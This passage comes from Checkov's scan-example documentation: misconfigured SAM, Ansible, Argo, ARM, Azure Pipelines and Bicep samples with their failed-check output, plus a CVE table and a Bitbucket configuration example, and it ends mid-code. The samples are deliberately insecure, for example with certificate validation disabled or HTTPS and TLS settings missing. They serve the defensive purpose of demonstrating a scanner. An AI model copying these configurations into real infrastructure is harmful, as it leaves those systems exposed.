│\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ elfutils           │ CVE-2018-16402     │ critical           │ 0.168-1            │ 0.168.post1+deb9u1 │ 0.168.post1+deb9u1 │\n\t│                    │ CVE-2018-18520     │ medium             │                    │ 0.168.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-18521     │ medium             │                    │ 0.168.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-18310     │ medium             │                    │ 0.168.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-16062     │ medium             │                    │ 0.168.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-16403     │ low                │                    │ N/A                │                    │\n\t│                    │ CVE-2019-7665      │ low                │                    │ 0.168.post1+deb9u1 │                    │\n\t│                    │ CVE-2019-7150      │ low                │                    │ 0.168.post1+deb9u1 │                    │\n\t│                    │ CVE-2019-7149      │ low                │                    │ N/A                │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\n.... \nsca_image scan results:\n\nPassed checks: 0, Failed checks: 989, Skipped checks: 0\n\n\t//Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml (sha256:6a353e22ce)\n\t┌────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┐\n\t│ Total CVEs: 344    │ critical: 8        │ high: 19           │ medium: 24         │ low: 293           │ skipped: 0         │\n\t├────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┤\n\t├────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┤\n\t│ Package            │ CVE ID             │ Severity           │ Current version    │ Fixed version      │ Compliant version  │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ libwebp            │ CVE-2018-25014     │ critical           │ 0.5.2-1            │ 0.5.2.post1+deb9u1 │ 0.5.2.post1+deb9u1 │\n\t│                    │ CVE-2018-25011     │ critical           │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-25013     │ critical           │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-25012     │ critical           │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-25010     │ critical           │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-25009     │ critical           │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2020-36332     │ low                │                    │ N/A                │                    │\n\t│                    │ CVE-2020-36331     │ low                │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2020-36330     │ low                │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2020-36329     │ low                │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2020-36328     │ low                │                    │ 0.5.2.post1+deb9u1 │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ elfutils           │ CVE-2018-16402     │ critical           │ 0.168-1            │ 0.168.post1+deb9u1 │ 0.168.post1+deb9u1 │\n\t│                    │ CVE-2018-18520     │ medium             │                    │ 0.168.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-18521     │ medium             │                    │ 0.168.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-18310     │ medium             │                    │ 0.168.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-16062     │ medium             │                    │ 0.168.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-16403     │ low                │                    │ N/A                │                    │\n\t│                    │ CVE-2019-7665      │ low                │                    │ 0.168.post1+deb9u1 │                    │\n...\nMore details: https://www.bridgecrew.cloud/projects?repository=acme_cli_repo/workflows&branch=bc-a57cd90_master&runId=latest\n\n```\n\n## What would be a good candidate?\nServerless functions utilizing containers, and every other IaC manifest that can reference an image  \n"
  },
  {
    "path": "docs/7.Scan Examples/AWS SAM.md",
    "content": "---\nlayout: default\npublished: true\ntitle: AWS SAM configuration scanning\nnav_order: 20\n---\n\n# AWS SAM framework configuration scanning\nCheckov supports the evaluation of policies on your SAM templates files.\nWhen using checkov to scan a directory that contains a SAM template it will validate if the file is compliant with AWS best practices such as having logging and auditing enabled, making sure S3 buckets are encrypted, HTTPS is being used, and more.  \n\nFull list of SAM policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/serverless.html).\nThe SAM scanning is utilizing checks that are part of the Cloudformation scanning implementation of checkov since SAM resource definition extends the Cloudformation definition.  \n\n### Example misconfigured SAM framework\n\n```yaml\nAWSTemplateFormatVersion: \"2010-09-09\"\nTransform: AWS::Serverless-2016-10-31\n​\nResources:\n  Enabled:\n    Type: AWS::Serverless::Api\n    Properties:\n      StageName: prod\n      TracingEnabled: true\n      CacheClusterEnabled: true\n      AccessLogSetting:\n        DestinationArn: 'arn:aws:logs:us-east-1:123456789:log-group:my-log-group'\n​\n  Default:\n    Type: AWS::Serverless::Api\n    Properties:\n      StageName: prod\n\n\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework cloudformation\n```\n\n### Example output\n\n```bash\n\n      _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x \n\n\ncloudformation scan results:\n\nPassed checks: 3, Failed checks: 3, Skipped checks: 0\n\nCheck: CKV_AWS_120: \"Ensure API Gateway caching is enabled\"\n\tPASSED for resource: AWS::Serverless::Api.Enabled\n\tFile: /sam.yaml:5-12\n\nCheck: CKV_AWS_73: \"Ensure API Gateway has X-Ray Tracing enabled\"\n\tPASSED for resource: AWS::Serverless::Api.Enabled\n\tFile: /sam.yaml:5-12\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-logging-policies/logging-15\n\nCheck: CKV_AWS_76: \"Ensure API Gateway has Access Logging enabled\"\n\tPASSED for resource: AWS::Serverless::Api.Enabled\n\tFile: /sam.yaml:5-12\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-logging-policies/logging-17\n\nCheck: CKV_AWS_120: \"Ensure API Gateway caching is enabled\"\n\tFAILED for resource: AWS::Serverless::Api.Default\n\tFile: /sam.yaml:14-17\n\n\t\t14 |   Default:\n\t\t15 |     Type: AWS::Serverless::Api\n\t\t16 |     Properties:\n\t\t17 |       StageName: prod\n\n\nCheck: CKV_AWS_73: \"Ensure API Gateway has X-Ray Tracing enabled\"\n\tFAILED for resource: AWS::Serverless::Api.Default\n\tFile: /sam.yaml:14-17\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-logging-policies/logging-15\n\n\t\t14 |   Default:\n\t\t15 |     Type: AWS::Serverless::Api\n\t\t16 |     Properties:\n\t\t17 |       StageName: prod\n\n\nCheck: CKV_AWS_76: \"Ensure API Gateway has Access Logging enabled\"\n\tFAILED for resource: AWS::Serverless::Api.Default\n\tFile: /sam.yaml:14-17\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-logging-policies/logging-17\n\n\t\t14 |   Default:\n\t\t15 |     Type: AWS::Serverless::Api\n\t\t16 |     Properties:\n\t\t17 |       StageName: prod\n\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Ansible.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Ansible configuration scanning\nnav_order: 20\n---\n\n# Ansible configuration scanning\nCheckov supports the evaluation of policies on your Ansible files.\nWhen using checkov to scan a directory that contains Ansible tasks it will validate if the file is compliant with Ansible best practices such as validating certificates and using HTTPS to download files, and more.  \n\nFull list of Ansible policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/ansible.html).\n\n### Example misconfigured Ansible file\n\n```yaml\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: disabled\n      yum:\n        name: httpd>=2.4\n        state: present\n        validate_certs: false\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework ansible\n```\n\n### Example output\n```bash\n \n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x\n\n\nansible scan results:\n\nPassed checks: 1, Failed checks: 1, Skipped checks: 0\n\nCheck: CKV_ANSIBLE_4: \"Ensure that SSL validation isn't disabled with yum\"\n\tPASSED for resource: task.disabled\n\tFile: /site.yaml:6-12\nCheck: CKV_ANSIBLE_3: \"Ensure that certificate validation isn't disabled with yum\"\n\tFAILED for resource: task.disabled\n\tFile: /site.yaml:6-12\n\n\t\t6  |     - name: disabled\n\t\t7  |       yum:\n\t\t8  |         name: httpd>=2.4\n\t\t9  |         state: present\n\t\t10 |         validate_certs: false\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Argo Workflows.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Argo Workflows configuration scanning\nnav_order: 20\n---\n\n# Argo Workflows configuration scanning\nCheckov supports the evaluation of policies on your Argo Workflows files.\nWhen using checkov to scan a directory that contains Argo Workflows specs and templates it will validate if the file is compliant with Argo Workflows best practices such as usage of securityContext and non default serviceAccountName, and more.  \n\nFull list of Argo Workflows policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/argo_workflows.html).\n\n### Example misconfigured Argo Workflows template\n\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: hello-world-\nspec:\n  entrypoint: whalesay\n  serviceAccountName: custom-sa\n  templates:\n  - name: whalesay\n    container:\n      image: docker/whalesay:latest\n      command: [cowsay]\n      args: [\"hello world\"]\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework argo_workflows\n```\n\n### Example output\n```bash\n \n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: 2.0.1210\n\n\nargo_workflows scan results:\n\nPassed checks: 1, Failed checks: 1, Skipped checks: 0\n\nCheck: CKV_ARGO_1: \"Ensure Workflow pods are not using the default ServiceAccount\"\n        PASSED for resource: /hello_world.yaml.spec.spec.CKV_ARGO_1[6:14]\n        File: /hello_world.yaml:6-15\nCheck: CKV_ARGO_2: \"Ensure Workflow pods are running as non-root user\"\n        FAILED for resource: /hello_world.yaml.spec.spec.CKV_ARGO_2[6:14]\n        File: /hello_world.yaml:6-15\n\n                6  |   entrypoint: whalesay\n                7  |   serviceAccountName: custom-sa\n                8  |   templates:\n                9  |   - name: whalesay\n                10 |     container:\n                11 |       image: docker/whalesay:latest\n                12 |       command: [cowsay]\n                13 |       args: [\"hello world\"]\n\n\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Azure ARM templates.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Azure ARM templates configuration scanning\nnav_order: 20\n---\n\n# Azure ARM templates configuration scanning\nCheckov supports the evaluation of policies on your ARM templates files.\nWhen using checkov to scan a directory that contains a ARM template it will validate if the file is compliant with Azure best practices such as having logging and auditing enabled, Ensure that 'Public access level' is set to Private for blob containers, Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP), and more.  \n\nFull list of ARM templates policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/arm.html).\n\n### Example misconfigured ARM templates\n\n```json\n{\n   \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n   \"contentVersion\": \"1.0.0.0\",\n   \"parameters\": {\n     \"webAppName\": {\n       \"type\": \"string\",\n       \"defaultValue\" : \"AzureLinuxApp\",\n       \"metadata\": {\n         \"description\": \"Base name of the resource such as web app name and app service plan \"\n       },\n       \"minLength\": 2\n     },\n     \"sku\":{\n       \"type\": \"string\",\n       \"defaultValue\" : \"S1\",\n       \"metadata\": {\n         \"description\": \"The SKU of App Service Plan \"\n       }\n     },\n     \"linuxFxVersion\" : {\n       \"type\": \"string\",\n       \"defaultValue\" : \"php|7.0\",\n       \"metadata\": {\n         \"description\": \"The Runtime stack of current web app\"\n       }\n     },\n     \"location\": {\n       \"type\": \"string\",\n       \"defaultValue\": \"[resourceGroup().location]\",\n       \"metadata\": {\n         \"description\": \"Location for all resources.\"\n       }\n     }\n   },\n   \"variables\": {\n     \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n     \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n   },\n   \"resources\": [\n     {\n       \"type\": \"Microsoft.Web/serverfarms\",\n       \"apiVersion\": \"2018-02-01\",\n       \"name\": \"[variables('appServicePlanName')]\",\n       \"location\": \"[parameters('location')]\",\n       \"sku\": {\n         \"name\": \"[parameters('sku')]\"\n       },\n       \"kind\": \"linux\",\n       \"properties\":{\n         \"reserved\":true\n       }\n     },\n     {\n       \"type\": \"Microsoft.Web/sites\",\n       \"apiVersion\": \"2018-11-01\",\n       \"name\": \"[variables('webAppPortalName')]\",\n       \"location\": \"[parameters('location')]\",\n       \"kind\": \"app\",\n       \"dependsOn\": [\n         \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n       ],\n       \"properties\": {\n         \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n         \"siteConfig\": {\n           \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n         }\n       }\n     }\n   ]\n }\n\n\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework arm\n```\n\n### Example output\n\n```bash\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x \n\narm scan results:\n\nPassed checks: 0, Failed checks: 5, Skipped checks: 0\n\nCheck: CKV_AZURE_15: \"Ensure web app is using the latest version of TLS encryption\"\n\tFAILED for resource: Microsoft.Web/sites.[concat(parameters('webAppName'), '-webapp')]\n\tFile: /example.json:53-68\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-6\n\n\t\t53 |     {\n\t\t54 |       \"type\": \"Microsoft.Web/sites\",\n\t\t55 |       \"apiVersion\": \"2018-11-01\",\n\t\t56 |       \"name\": \"[variables('webAppPortalName')]\",\n\t\t57 |       \"location\": \"[parameters('location')]\",\n\t\t58 |       \"kind\": \"app\",\n\t\t59 |       \"dependsOn\": [\n\t\t60 |         \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n\t\t61 |       ],\n\t\t62 |       \"properties\": {\n\t\t63 |         \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n\t\t64 |         \"siteConfig\": {\n\t\t65 |           \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n\t\t66 |         }\n\t\t67 |       }\n\t\t68 |     }\n\n\nCheck: CKV_AZURE_17: \"Ensure the web app has 'Client Certificates (Incoming client certificates)' set\"\n\tFAILED for resource: Microsoft.Web/sites.[concat(parameters('webAppName'), '-webapp')]\n\tFile: /example.json:53-68\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-7\n\n\t\t53 |     {\n\t\t54 |       \"type\": \"Microsoft.Web/sites\",\n\t\t55 |       \"apiVersion\": \"2018-11-01\",\n\t\t56 |       \"name\": \"[variables('webAppPortalName')]\",\n\t\t57 |       \"location\": \"[parameters('location')]\",\n\t\t58 |       \"kind\": \"app\",\n\t\t59 |       \"dependsOn\": [\n\t\t60 |         \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n\t\t61 |       ],\n\t\t62 |       \"properties\": {\n\t\t63 |         \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n\t\t64 |         \"siteConfig\": {\n\t\t65 |           \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n\t\t66 |         }\n\t\t67 |       }\n\t\t68 |     }\n\n\nCheck: CKV_AZURE_14: \"Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service\"\n\tFAILED for resource: Microsoft.Web/sites.[concat(parameters('webAppName'), '-webapp')]\n\tFile: /example.json:53-68\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-5\n\n\t\t53 |     {\n\t\t54 |       \"type\": \"Microsoft.Web/sites\",\n\t\t55 |       \"apiVersion\": \"2018-11-01\",\n\t\t56 |       \"name\": \"[variables('webAppPortalName')]\",\n\t\t57 |       \"location\": \"[parameters('location')]\",\n\t\t58 |       \"kind\": \"app\",\n\t\t59 |       \"dependsOn\": [\n\t\t60 |         \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n\t\t61 |       ],\n\t\t62 |       \"properties\": {\n\t\t63 |         \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n\t\t64 |         \"siteConfig\": {\n\t\t65 |           \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n\t\t66 |         }\n\t\t67 |       }\n\t\t68 |     }\n\n\nCheck: CKV_AZURE_16: \"Ensure that Register with Azure Active Directory is enabled on App Service\"\n\tFAILED for resource: Microsoft.Web/sites.[concat(parameters('webAppName'), '-webapp')]\n\tFile: /example.json:53-68\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-iam-policies/bc-azr-iam-1\n\n\t\t53 |     {\n\t\t54 |       \"type\": \"Microsoft.Web/sites\",\n\t\t55 |       \"apiVersion\": \"2018-11-01\",\n\t\t56 |       \"name\": \"[variables('webAppPortalName')]\",\n\t\t57 |       \"location\": \"[parameters('location')]\",\n\t\t58 |       \"kind\": \"app\",\n\t\t59 |       \"dependsOn\": [\n\t\t60 |         \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n\t\t61 |       ],\n\t\t62 |       \"properties\": {\n\t\t63 |         \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n\t\t64 |         \"siteConfig\": {\n\t\t65 |           \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n\t\t66 |         }\n\t\t67 |       }\n\t\t68 |     }\n\n\nCheck: CKV_AZURE_18: \"Ensure that 'HTTP Version' is the latest if used to run the web app\"\n\tFAILED for resource: Microsoft.Web/sites.[concat(parameters('webAppName'), '-webapp')]\n\tFile: /example.json:53-68\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-8\n\n\t\t53 |     {\n\t\t54 |       \"type\": \"Microsoft.Web/sites\",\n\t\t55 |       \"apiVersion\": \"2018-11-01\",\n\t\t56 |       \"name\": \"[variables('webAppPortalName')]\",\n\t\t57 |       \"location\": \"[parameters('location')]\",\n\t\t58 |       \"kind\": \"app\",\n\t\t59 |       \"dependsOn\": [\n\t\t60 |         \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n\t\t61 |       ],\n\t\t62 |       \"properties\": {\n\t\t63 |         \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n\t\t64 |         \"siteConfig\": {\n\t\t65 |           \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n\t\t66 |         }\n\t\t67 |       }\n\t\t68 |     }\n\n\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Azure Pipelines.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Azure Pipelines configuration scanning\nnav_order: 20\n---\n\n# Azure Pipelines configuration scanning\nCheckov supports the evaluation of policies on your Azure Pipelines files.\nWhen using checkov to scan a directory that contains Azure Pipelines templates it will validate if the file is compliant with Azure Pipelines best practices such as usage of digest for container image version and more.  \n\nFull list of Azure Pipelines policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/azure_pipelines.html).\n\n### Example misconfigured Azure Pipelines template\n\n```yaml\ntrigger:\n- master\n\nresources:\n  repositories:\n  - repository: AzureDevOps\n    type: git\n    endpoint: AzureDevOps\n    name: AzureDevOps/AzureDevOps\n\njobs:\n- job: RunInContainer\n  pool:\n    vmImage: 'ubuntu-18.04'\n\n  container: ubuntu:20.04\n\n  steps:\n    - script: printenv\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework azure_pipelines\n```\n\n### Example output\n```bash\n \n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x\n\n\nazure_pipelines scan results:\n\nPassed checks: 1, Failed checks: 1, Skipped checks: 0\n\nCheck: CKV_AZUREPIPELINES_1: \"Ensure container job uses a non latest version tag\"\n\tPASSED for resource: /azure-pipelines.yml.jobs.jobs.CKV_AZUREPIPELINES_1[12:20]\n\tFile: /azure-pipelines.yml:12-21\nCheck: CKV_AZUREPIPELINES_2: \"Ensure container job uses a version digest\"\n\tFAILED for resource: /azure-pipelines.yml.jobs.jobs.CKV_AZUREPIPELINES_2[12:20]\n\tFile: /azure-pipelines.yml:12-21\n\n\t\t12 | - job: RunInContainer\n\t\t13 |   pool:\n\t\t14 |     vmImage: 'ubuntu-18.04'\n\t\t15 | \n\t\t16 |   container: ubuntu:20.04\n\t\t17 | \n\t\t18 |   steps:\n\t\t19 |     - script: printenv\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Bicep.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Azure Bicep configuration scanning\nnav_order: 20\n---\n\n# Azure Bicep configuration scanning\nCheckov supports the evaluation of policies on your Bicep files.\nWhen using checkov to scan a directory that contains a Bicep file it will validate if it is compliant with Azure best practices such as having logging and auditing enabled, Ensure that 'Public access level' is set to Private for blob containers, Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP), and more.  \n\nFull list of ARM templates policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/arm.html).\n\n### Example misconfigured Bicep file\n\n```bicep\n@description('The location in which all resources should be deployed.')\nparam location string = resourceGroup().location\n\n@description('The name of the app to create.')\nparam appName string = uniqueString(resourceGroup().id)\n\nvar appServicePlanName = '${appName}${uniqueString(subscription().subscriptionId)}'\nvar appServicePlanSku = 'S1'\n\nresource appServicePlan 'Microsoft.Web/serverfarms@2020-06-01' = {\n  name: appServicePlanName\n  location: location\n  sku: {\n    name: appServicePlanSku\n  }\n  kind: 'app'\n}\n\nresource webApp 'Microsoft.Web/sites@2020-06-01' = {\n  name: appName\n  location: location\n  kind: 'app'\n  properties: {\n    serverFarmId: appServicePlan.id\n  }\n}\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework bicep\n```\n\n### Example output\n\n```bash\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x \n\nbicep scan results:\n\nPassed checks: 0, Failed checks: 5, Skipped checks: 0\n\nCheck: CKV_AZURE_15: \"Ensure web app is using the latest version of TLS encryption\"\n        FAILED for resource: Microsoft.Web/sites.webApp\n        File: anton/bicep/playground/example.bicep:19-26\n        Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-6\n\n                19 | resource webApp 'Microsoft.Web/sites@2020-06-01' = {\n                20 |   name: appName\n                21 |   location: location\n                22 |   kind: 'app'\n                23 |   properties: {\n                24 |     serverFarmId: appServicePlan.id\n                25 |   }\n                26 | }\n\nCheck: CKV_AZURE_17: \"Ensure the web app has 'Client Certificates (Incoming client certificates)' set\"\n        FAILED for resource: Microsoft.Web/sites.webApp\n        File: anton/bicep/playground/example.bicep:19-26\n        Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-7\n\n                19 | resource webApp 'Microsoft.Web/sites@2020-06-01' = {\n                20 |   name: appName\n                21 |   location: location\n                22 |   kind: 'app'\n                23 |   properties: {\n                24 |     serverFarmId: appServicePlan.id\n                25 |   }\n                26 | }\n\nCheck: CKV_AZURE_14: \"Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service\"\n        FAILED for resource: Microsoft.Web/sites.webApp\n        File: anton/bicep/playground/example.bicep:19-26\n        Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-5\n\n                19 | resource webApp 'Microsoft.Web/sites@2020-06-01' = {\n                20 |   name: appName\n                21 |   location: location\n                22 |   kind: 'app'\n                23 |   properties: {\n                24 |     serverFarmId: appServicePlan.id\n                25 |   }\n                26 | }\n\nCheck: CKV_AZURE_16: \"Ensure that Register with Azure Active Directory is enabled on App Service\"\n        FAILED for resource: Microsoft.Web/sites.webApp\n        File: anton/bicep/playground/example.bicep:19-26\n        Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-iam-policies/bc-azr-iam-1\n\n                19 | resource webApp 'Microsoft.Web/sites@2020-06-01' = {\n                20 |   name: appName\n                21 |   location: location\n                22 |   kind: 'app'\n                23 |   properties: {\n                24 |     serverFarmId: appServicePlan.id\n                25 |   }\n                26 | }\n\nCheck: CKV_AZURE_18: \"Ensure that 'HTTP Version' is the latest if used to run the web app\"\n        FAILED for resource: Microsoft.Web/sites.webApp\n        File: anton/bicep/playground/example.bicep:19-26\n        Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-8\n\n                19 | resource webApp 'Microsoft.Web/sites@2020-06-01' = {\n                20 |   name: appName\n                21 |   location: location\n                22 |   kind: 'app'\n                23 |   properties: {\n                24 |     serverFarmId: appServicePlan.id\n                25 |   }\n                26 | }\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Bitbucket.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Bitbucket configuration scanning\nnav_order: 20\n---\n\n# Bitbucket configuration scanning\nCheckov supports the evaluation of policies on your Bitbucket organization and repositories settings.\nWhen using checkov with Bitbucket token it can collect your current org settings and validate it complies with Bitbucket security best practices such as having branch protection rules having 2 approvals.\nFull list of bitbucket organization and repository settings related checks can be found [here](https://www.checkov.io/5.Policy%20Index/bitbucket_configuration.html).\n\n## Bitbucket scanning configuration\n\n| Environment Variable          | Default value     | Description    |\n|-------------|----------|-------------------------------------------|\n| CKV_BITBUCKET_CONFIG_FETCH_DATA| \"True\" | checkov will try to fetch Bitbucket configuration from API by default (unless no access token provided)  |\n| CKV_BITBUCKET_CONF_DIR_NAME   | \"bitbucket_conf\" | checkov will create a new directory named \"bitbucket_conf\" under current working directory                          |\n| CI_SERVER_URL   | \"https://api.bitbucket.com/\" |  |\n| APP_PASSWORD   |  | Bitbucket personal access token to be used to fetch Bitbucket configuration |\n| BITBUCKET_USERNAME |  | Bitbucket username (not email) |\n| BITBUCKET_REPO_FULL_NAME |  | workspace/repository, for example prisma/terragoat |\n\n### Example branch restrictions configuration\n\n```json\n{\n  \"pagelen\": 10,\n  \"values\": [\n    {\n      \"kind\": \"require_default_reviewer_approvals_to_merge\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": 1,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26522110\n    },\n    {\n      \"kind\": \"require_approvals_to_merge\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": 3,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26520791\n    },\n    {\n      \"kind\": \"force\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": null,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26520790\n    },\n    {\n      \"kind\": \"delete\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": null,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26520789\n    }\n  ],\n  \"page\": 1,\n  \"size\": 4\n}\n```\n\n### Example policy\n\n```python\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.bitbucket.base_bitbucket_configuration_check import BaseBitbucketCheck\nfrom 